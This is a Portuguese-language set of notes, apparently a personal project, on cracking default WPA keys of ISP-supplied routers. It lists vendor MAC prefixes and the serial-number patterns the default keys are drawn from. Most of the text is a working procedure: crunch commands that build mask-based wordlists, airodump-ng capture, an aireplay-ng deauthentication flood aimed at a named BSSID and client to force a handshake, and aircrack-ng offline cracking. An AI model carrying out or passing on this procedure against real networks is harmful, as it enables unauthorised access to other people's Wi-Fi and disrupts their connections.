Projeto Chave

Foco

Uma das corporações que mais disseminaram seus equipamentos aos usuários, partem do princípio onde a configuração de fábrica de seus equipamentos sigam como ordem padrão, já que a ROM é alterada assim como sua chave de acesso. Rodar uma palavra de 10 caracteres de A-Z e 0-9 não deve ser nem um pouco fácil.

Espera-se que atraves do estudo dos equipamentos de rede que serão acessados, seja possível obter facilidades na obtenção da chave das variadas redes em questão.

Padroes encontrados

Houveram momentos onde a chave nada mais era do que o endereço físico explicito, padrão este que caiu em desuso. Uma segunda forma de esconder a chave foi através do sorteio dos caracteres do endereço físico criando uma palavra de 10 caracteres que também deixou de ser utilizada. Ex: endereço 1F:5D gera uma chave DF15.

Importante levar em consideração que o fato de se basear no endereço físico, é criada uma falsa impressao de que a chave do equipamento seja composta por 10 caracteres hexadecimal, o que tornaria a palavra que compõe a chave muito segura. Felizmente é apenas uma falsa impressão que afastou muitos olhares, pois na verdade não existe nenhum dado de aleatório.

Dados conhecidos

As chaves criadas pela organização atualmente não seguem nenhum padrão secreto, apenas são os ultimos dez caracteres do número de serie do equipamento em questão.

É possível através do endereço fisico do Hotspot, identificar o fabricante, em seguida deduzir o padrão das senhas usando como base as pré definiçoes retiradas de consultas ao MAC+S/N. Deve-se observar que são utilizados poucos modelos de cada fabricante, facilitando então, a compreensão dos padrões obtidos, dessa forma, o MAC dos mais diversos modelos podem apontar para um fabricante comum.

Através dos padrões já citados, são criadas máscaras para definirem o formato da wordlist em número de caractéres por palavra e tipos de caracteres. *Ex: A00A representa uma wordlist com o intervalo de A00A até Z99Z.*

Para onde ir

Levando em conta o cenário atual já explicado, o primeiro passo fica em listar os equipamentos acessíveis de modo que seja possivel obter uma relação de endereço físico por bssid. Uma vez escolhido o endereço em questão, deverá ser consultado o seu fabricante, ferramentas atualizadas podem ser utilizadas a favor, uma delas é o ***http://ocurreedy.com/stu/nic*** que ao informar o endereço físico a ser consultado, é obtido o fabricante.
Considerando as três primeiras casas como fabricante, podemos listar as fabricantes mais comuns:

5C:DC:96:xx:xx:xx	**Arcadyan Technology Corporation**
00:0C:C3:xx:xx:xx	**BeWAN systems**
6C:72:20:xx:xx:xx	**D-Link International**
68:15:90:xx:xx:xx	**Sagemcom Broadband SAS**
2C:E4:12:xx:xx:xx	
6C:2E:F5:xx:xx:xx	
7C:03:4C:xx:xx:xx	*old*
90:F6:52:xx:xx:xx	**TP-LINK TECHNOLOGIES**
C4:E9:84:xx:xx:xx	
C4:6E:1F:xx:xx:xx	
00:1A:3F:xx:xx:xx	**intelbras**

Após reunir as informações acima, será necessário assimilar os padões do número de série de cada fabricante, já que a chave está explicita nesta icógnita, uma wordlist precisa ser gerada.
Cada fabricante requer uma wordlist, os padrões de cada um, gera uma máscara que deve ser utilizada como modelo para poupar tempo, o que torna tudo mais fácil pois as chaves passam a ser compostas apenas por números na maioria dos casos.

Número de série vs Máscara

Arcadyan Technology Corporation

S/N Conhecidos:
*J5*33174598
*J5*33173056
*J5*28228658

PASS: todos os 10
MASK: **J50000000**

BeWAN systems

S/N Conhecidos:
*190000*60956323
*190000*38668968
*190000*73366295
*190000*49758500
190000041513409

PASS: ultimos 10
MASK: **0000000000**

D-Link International

S/N Conhecidos:
*QX4S1F*7509214
*QX4S1F*4605653
91E5026063
91O5013918
91E3062202

PASS: ultimos 10
MASK: **S1F0000000**
Sucesso: 1 / 1

Sagemcom Broadband SAS

S/N Conhecidos:
*N7110*5711020192
*N7131*5067022601
NQ1135107112481
NQ1120907002795
Xxxxxx1907285076
*Xxxxxx*5067007936
*Xxxxxx*1607054928
*Xxxxxx*0907002795
Xxxxxx0907xxxxxx
Xxxxxx9183001227 old
Xxxxxx9903000575 old
NQ1219707464509 old

PASS: ultimos 10
MASK: **0000000000**

Criação da wordlist

Utilizado o “crunch” para gerar os dicionários necessários:

crunch 10 10 -t S1F%%%%%%% -o wordlist-dlink01.txt
crunch 10 10 0123456789 -o wordlist-sagemcom01.txt
crunch 10 10 -t J5%%%%%%%% -o wordlist-arcadyan01.txt

Onde:

- **10 10** representa o numero minimo e maximo de casas no inicio e fim da lista
- **-t** cria uma máscara onde cada "%" representa um caractere numérico, a quantidade de casas devem bater com as duas primeiras variaveis.
- **-o** exporta em arquivo.

Arquivos de saída:

-rw-r--r-- 1 root root 1.1G May 16 15:54 wordlist-arcadyan01.txt
-rw-r--r-- 1 root root 105M May 16 15:43 wordlist-dlink01.txt

Captura de pacotes

1. **Verificando interface:**
   airmon-ng

2. **Ativando modo monitor na interface:**
   airmon-ng start wlan0

3. **Modo monitor nao ativou devido aos processos não mortos:**
   kill 925
   kill 731
   kill 928

4. **Ativando modo monitor sem os conflitantes**
   airmon-ng start wlan0

5. **Verificando redes para monitorar**
   airodump-ng wlan0mon

Nota: Pegar o BSSID do AP e MAC de uma STATION conectada ao BSSID alvo. Pegar tambem o canal de operação.

6. **Capturando pacotes do BSSID e salvando no arquivo "pacotes.cap".**
   airodump-ng --bssid 00:1F:A4:F4:EB:40 --channel 6 --write pacotes wlan0mon

7. **Em outro terminal pedir handshake ao alvo(-a) pelo cliente(-c).**
   aireplay-ng -0 100 -a 00:1F:A4:F4:EB:40 -c 40:2C:F4:34:00:56 wlan0mon

Nota: No processo do airodump deverá aparecer o Handshake durante a execucao do aireplay. Quando ocorrer, pode-se parar o airodump (Ctrl+c) e prosseguir com a quebra do arquivo .cap.
Nota²: O crack é feito offline.

O Crack

1. **Apontar o arquivo de wordlist para o .cap**
   aircrack-ng -w ./../wordlist-dlink01.txt defcon-02.cap

2. **Aguardar a quebra, em caso de sucesso "KEY FOUND! [XXXXXXXX]" será visto.**